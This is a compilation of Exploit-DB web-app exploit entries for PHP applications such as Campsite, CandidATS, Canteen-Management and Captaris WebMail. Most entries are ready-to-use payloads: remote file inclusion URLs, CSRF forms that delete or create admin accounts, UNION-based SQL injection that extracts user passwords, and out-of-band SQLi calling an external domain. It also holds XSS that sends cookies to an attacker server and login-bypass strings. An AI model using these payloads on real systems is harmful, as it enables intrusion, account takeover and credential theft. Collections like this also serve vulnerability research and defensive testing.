deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29991
Description: Campsite 2.6.1 - 'SubscriptionDefaultTime.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                         
Campsite is prone to multiple remote file-include vulnerabilities.
                         
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                         
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/SubscriptionDefaultTime.php?g_DocumentRoot=shell.txt?
Exploit-DB #29992
Description: Campsite 2.6.1 - 'SubscriptionSection.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                          
Campsite is prone to multiple remote file-include vulnerabilities.
                          
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                          
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/SubscriptionSection.php?g_DocumentRoot=shell.txt?
Exploit-DB #29993
Description: Campsite 2.6.1 - 'SystemPref.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                           
Campsite is prone to multiple remote file-include vulnerabilities.
                           
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                           
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/SystemPref.php?g_DocumentRoot=shell.txt?
Exploit-DB #29994
Description: Campsite 2.6.1 - 'template.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                            
Campsite is prone to multiple remote file-include vulnerabilities.
                            
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                            
This issue affects Campsite 2.6.1. Earlier versions may also be affected.
 
http://www.example.com/classes/Template.php?g_DocumentRoot=shell.txt?
Exploit-DB #29995
Description: Campsite 2.6.1 - 'TimeUnit.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                             
Campsite is prone to multiple remote file-include vulnerabilities.
                             
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                             
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/TimeUnit.php?g_DocumentRoot=shell.txt?
Exploit-DB #29996
Description: Campsite 2.6.1 - 'topic.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                              
Campsite is prone to multiple remote file-include vulnerabilities.
                              
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                              
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Topic.php?g_DocumentRoot=shell.txt?
Exploit-DB #29997
Description: Campsite 2.6.1 - 'UrlType.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                               
Campsite is prone to multiple remote file-include vulnerabilities.
                               
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                               
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/UrlType.php?g_DocumentRoot=shell.txt?
Exploit-DB #29998
Description: Campsite 2.6.1 - 'user.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                                
Campsite is prone to multiple remote file-include vulnerabilities.
                                
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                                
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/User.php?g_DocumentRoot=shell.txt?
Exploit-DB #29999
Description: Campsite 2.6.1 - 'UserType.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                                 
Campsite is prone to multiple remote file-include vulnerabilities.
                                 
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                                 
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/UserType.php?g_DocumentRoot=shell.txt?
Exploit-DB #11676
Description: Campsite 3.3.5 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-03-10
Author: pratul agrawal

Exploit:
                     =======================================================================
   
                                         campsite 3.3.5 CSRF Vulnerability
 
                     =======================================================================
   
                                                     by
   
                                                Pratul Agrawal
 
   
   
  # Vulnerability found in- Admin module
   
  # email         Pratulag@yahoo.com
   
  # company       aksitservices
   
  # Credit by     Pratul Agrawal

  # Category  	  CMS / Portals
  
  # Site p4ge     http://wwwcampware.org/
  
  # Plateform     php
  
   
   
  #  Proof of concept   #
 
  Targeted URL:  http://server/admin/login.php
  
 
  Script to delete the Admin user through Cross Site request forgery
  
             .  ..................................................................................................................
  
                        <html>
  
                          <body>
  
                           <img src=http://server/admin/users/do_del.php?User=[userID]&uType=Staff />
  
                          </body>
  
                        </html>
  
  
             .  ..................................................................................................................
  
  
  
  After execution refresh the page and u can see that user having giving ID  get deleted automatically.
 
 
#If you have any questions, comments, or concerns, feel free to contact me.
Exploit-DB #33915
Description: Campsite 3.x - 'article_id' SQL Injection
Type: webapps
Platform: php
Date: 2010-04-30
Author: Stefan Esser

Exploit:
source: https://www.securityfocus.com/bid/39862/info

Campsite is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Campsite versions 3.2 through 3.3.5 are vulnerable; other versions may also be affected. 

http://www.example.com/javascript/tinymce/plugins/campsiteattachment/attachments.php?article_id=0+UNION+SELECT+Id,2,concat%28UName,0x2e,Password%29,4,5,6,7,8,9,10,11,12+FROM+liveuser_users+--+x
Exploit-DB #14365
Description: Campsite CMS - Remote Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-15
Author: D4rk357

Exploit:
#################################################################
# Exploit Title: Campsite CMS remote Persistent XSS vulnerability
# Date: 15th july 2010
# Author: D4rk357
# Critical:Low
# Contact:bd4rk357[at]yahoo[dot]in
# Software Link:bhttp://www.sourcefabric.org/en/home/web/78/Demo--Documentation.htm?tpl=18
# Greetz to:bb0nd, Fbih2s,Beenu,rockey killer,The empty(), punter,eberly,prashant
# Shoutz to: http://www.garage4hackers.com/forum.php , h4ck3r.in and  all ICW members
##############################################################################

Login as Admin into the website .

GO to administration>Articles>Edit articles or any other option .

In heading or content type <marquee><h1>XSS3d By D4rk357</h1><marquee> .
  
  On the other hand a user using this CMS can upload a persistent XSS in this site while 
  submitting a article using same method. 
  
 ##################################################################################
 #D4rk357
Exploit-DB #8937
Description: campus virtual-lms - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2009-06-12
Author: YasiÃ³n

Exploit:
+-----------------------------------------------------------------------------+
LMS:   Campus Virtual-LMS
WEB:   http://campusvirtualcomputrade.cae.net

Autor: YasiÃ³n
Fecha: 12 jun 2009
+-----------------------------------------------------------------------------+

 -----------------------------------------------------------------------------+
 [+] SQLi
 -----------------------------------------------------------------------------+
   Archivo: news/index.php [no logged]
   GET: ?id
   InyecciÃ³n: -1 union select 1,2,3,4,5,6,7
 -----------------------------------------------------------------------------+

 -----------------------------------------------------------------------------+
 [+] XSS
 -----------------------------------------------------------------------------+
   Archivo: enrolments/step1.php [no logged]
   GET: ?courseid
   InyecciÃ³n: 1"><script>alert(/xD/.source)</script>

   Archivo: files/shared_list.php [logged]
   GET/POST: ?search
   InyecciÃ³n: "><script>alert(/xD/.source)</script><!--

   Archivo: files/shared_list.php [logged]
   GET: ?siteid
   InyecciÃ³n: "><script>alert(/xD/.source)</script><!--
 -----------------------------------------------------------------------------+

 -----------------------------------------------------------------------------+
 [+] CSRF
 -----------------------------------------------------------------------------+
   Archivo: login/logout.php
   Info: Desconecta al usuario mediante una imagen, un redireccionamiento, un
   link...

   Archivo: enrolments/step2.php
   GET: ?action=[ACTION]&orderid=[ORDERID]&courseid=[COURSEID]
   Info: AÃ±ade o elimina [ADD/DELETE] el curso identificado por COURSEID a la
   cesta identificada por ODERID.    SerÃ­a necesario conocer por adelantado la
   cesta del usuario. (No explotable)
 -----------------------------------------------------------------------------+

+-----------------------------------------------------------------------------+
Gretz: UnderSecurity.net
+-----------------------------------------------------------------------------+

# milw0rm.com [2009-06-12]
Exploit-DB #34220
Description: CANDID - '/image/view.php?image_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-29
Author: L0rd CrusAd3r

Exploit:
source: https://www.securityfocus.com/bid/41216/info
 
CANDID is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/image/view.php?image_id=[XSS]
Exploit-DB #34219
Description: CANDID - '/image/view.php?image_id' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-29
Author: L0rd CrusAd3r

Exploit:
source: https://www.securityfocus.com/bid/41216/info

CANDID is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/image/view.php?image_id=[SQLI]
Exploit-DB #48113
Description: CandidATS 2.1.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2020-02-24
Author: J3rryBl4nks

Exploit:
# Title: CandidATS 2.1.0 - Cross-Site Request Forgery (Add Admin)
# Date: 2020-02-21
# Exploit Author: J3rryBl4nks
# Vendor Homepage: https://sourceforge.net/u/auieo/profile/
# Software Link: https://sourceforge.net/projects/candidats/files/#Version 2.1.0
# Tested on Ubuntu 19/Kali Rolling

# The Candid ATS Web application is vulnerable to CSRF to add a new admin user:
#CSRF Proof of Concept:

    <html>
      <body>
      <script>history.pushState('', '', '/')</script>
        <form action="http://HOSTNAME/Candid/index.php?m=settings&a=addUser" method="POST">
          <input type="hidden" name="postback" value="postback" />
          <input type="hidden" name="role" value="none" />
          <input type="hidden" name="firstName" value="Test" />
          <input type="hidden" name="lastName" value="User" />
          <input type="hidden" name="email" value="test&#64;test&#46;com" />
          <input type="hidden" name="username" value="Test" />
          <input type="hidden" name="password" value="password" />
          <input type="hidden" name="retypePassword" value="password" />
          <input type="hidden" name="roleid" value="2" />
          <input type="hidden" name="accessLevel" value="500" />
          <input type="hidden" name="submit" value="Add&#32;User" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>
Exploit-DB #21132
Description: Cannonbolt Portfolio Manager 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-09-07
Author: LiquidWorm

Exploit:
Cannonbolt Portfolio Manager v1.0 Stored XSS and SQL Injection Vulnerabilities


Vendor: IWCn Systems Inc.
Product web page: http://www.iwcn.ws
Affected version: 1.0

Summary: Cannonbolt Portfolio Manager is a sleek and AJAX based
PHP script to manage projects and showcase.

Desc: The application suffers from a stored cross-site scripting
and a SQL Injection vulnerability when input is passed to the
'cname' POST parameter in 'add-category.php' and 'cdel' GET parameter
in 'del.php' script which is not properly sanitised before being
returned to the user or used in SQL queries. This can be exploited
to manipulate SQL queries by injecting arbitrary SQL code or execute
arbitrary HTML and script code in a user's browser session in context
of an affected site.


Tested on: Apache, PHP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience.mk


Advisory ID: ZSL-2012-5104
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5104.php



05.09.2012

-------------------------

XSS:
----

 - POST http://localhost/admin/add-category.php HTTP/1.1

        cname="><script>alert("ZSL");</script>



SQLi:
-----

 - POST http://localhost/admin/add-category.php HTTP/1.1

        cname='



SQLi:
-----

 - GET http://localhost/admin/del.php?cdel=%27 HTTP/1.1
Exploit-DB #44882
Description: Canon PrintMe EFI - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-06-12
Author: Huy Kha

Exploit:
# Title: Canon PrintMe EFI - Cross-Site Scripting	 
# Date: 9.6.2018-06-09	 
# Exploit Author: Huy Kha	
# Vendor Homepage: [https://www.efi.com/]  
# Version: Canon PrintMe EFI	
# Tested on: Mozilla FireFox 
# CVE: CVE-2018-12111
# XSS Payload used: '"--!><img src=x onerror=alert("XSS")>
	
# PoC
	
GET /wt3/mydocs.php/'%22--!%3E%3Cimg%20src=x%20onerror=alert(%22XSS%22)%3E HTTP/1.1
Host: 129.25.8.177
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=a11b2588fe327f6bd1acf79f286c2dcd
Connection: close
Upgrade-Insecure-Requests: 1
Exploit-DB #51063
Description: Canteen-Management v1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2023-03-27
Author: nu11secur1ty

Exploit:
## Exploit Title: Canteen-Management v1.0 - SQL Injection
## Exploit Author: nu11secur1ty
## Date: 10.04.2022
## Vendor: https://www.mayurik.com/
## Software: https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/mayuri_k/2022/Canteen-Management/Docs/youthappam.zip?raw=true
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Canteen-Management/SQLi

## Description:
The username parameter from Canteen-Management1.0-2022 appears to be
vulnerable to SQL injection attacks.
The malicious user can attack remotely this system by using this
vulnerability to steal all information from the database of this
system.

STATUS: HIGH Vulnerability

[+]Payload:

```mysql
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: username=UvIiDwEB'+(select
load_file('\\\\dp63gurp7hq1sbs2l0zhxwq2yt4msdn1e42wpmdb.tupaciganka.com\\gfa'))+''
OR NOT 6549=6549 AND 'gzCy'='gzCy&[CREDENTIAL_REDACTED]=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=UvIiDwEB'+(select
load_file('\\\\dp63gurp7hq1sbs2l0zhxwq2yt4msdn1e42wpmdb.tupaciganka.com\\gfa'))+''
AND (SELECT 2876 FROM (SELECT(SLEEP(17)))IStn) AND
'awEr'='awEr&[CREDENTIAL_REDACTED]=
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Canteen-Management/SQLi)

## Proof and Exploit:
[href](https://streamable.com/vvz2lh)


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #25071
Description: Captaris Infinite Mobile Delivery Webmail 2.6 - Full Path Disclosure
Type: webapps
Platform: php
Date: 2005-01-29
Author: steven@lovebug.org

Exploit:
source: https://www.securityfocus.com/bid/12399/info

Infinite Mobile Delivery Webmail is reportedly affected by a path disclosure vulnerability. This issue could permit a malicious user to expose the root path of the affected application. 

http://www-webmailusersite-com/username/Folder:?
Exploit-DB #22104
Description: Captaris Infinite WebMail 3.61.5 - HTML Injection
Type: webapps
Platform: php
Date: 2002-12-16
Author: Pedram Amini

Exploit:
source: https://www.securityfocus.com/bid/6411/info

An HTML injection vulnerability has been discovered in Captaris Infinite WebMail. Due to insufficient sanitization of HTML content, it is possible for an attacker to embed malicious script code into HTML email messages.

This may allow an attacker to steal cookie-based authentication credentials from users of the webmail system. Other attacks are also possible.

Launch on e-mail open:
<p style="left:expression(document.location=
'http://attackers.server/cgi-bin/logger.cgi?'
+document.cookie)">

Launch on mouse over:
<b onMouseOver= "document.location=
'http://attackers.server/cgi-bin/logger.cgi?'
+document.cookie\">
Exploit-DB #42582
Description: Car or Cab Booking Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-08-28
Author: Ali BawazeEer

Exploit:
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

<!-- 
# Exploit Title:  Car or Cab Booking Script - SQL injection login bypass 
# Exploit Author: Ali BawazeEer || https://sa.linkedin.com/in/alibawazeeer
# Dork: N/A
# Date: 28.08.2017
# software link : http://www.phpscriptsmall.com/product/cab-booking-script/
# Version: 3.04
# Category: Webapps
# Tested on: windows64bit / mozila firefox 
# 
#
--!>

# ========================================================
#
#
# Car or Cab Booking Script - SQL injection login bypass 
# 
# Description : an attacker is able to inject malicious sql query to bypass the login page and login as admin of the particular school
# 
# Proof of Concept : - 
# 
# http://localhost/taxibooking/login.php  [ set username and password ] to >>  admin' or 1=1 -- - 
#  you must choose the check box as current and existing user  
#   
# 
# 
#
# 
#
#
# ========================================================
# [+] Disclaimer
#
# Permission is hereby granted for the redistribution of this advisory,
# provided that it is not altered except by reformatting it, and that due
# credit is given. Permission is explicitly given for insertion in
# vulnerability databases and similar, provided that due credit is given to
# the author. The author is not responsible for any misuse of the information contained 
# herein and prohibits any malicious use of all security related information
# or exploits by the author or elsewhere.
#
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
Exploit-DB #48435
Description: Car Park Management System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-05-07
Author: Tarun Sehgal

Exploit:
# Exploit Title: Car Park Management System 1.0 - Authentication Bypass
# Date: 2020-05-07
# Exploit Author: Tarun Sehgal
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/car-park-management-system.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

---------------------------------------------------------------------------------

#parameter Vulnerable: phone and password
#Injected Request
#Below request will allow authentication bypass

POST /Car%20Park%20Management%20System/proc/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Origin: http://localhost
Connection: close
Referer: http://localhost/Car%20Park%20Management%20System/
Cookie: PHPSESSID=d84agc0pp6qihtm7u775ftvukd
Upgrade-Insecure-Requests: 1

phone=' or '1'='1&password=' or '1'='1&Submit=Log+In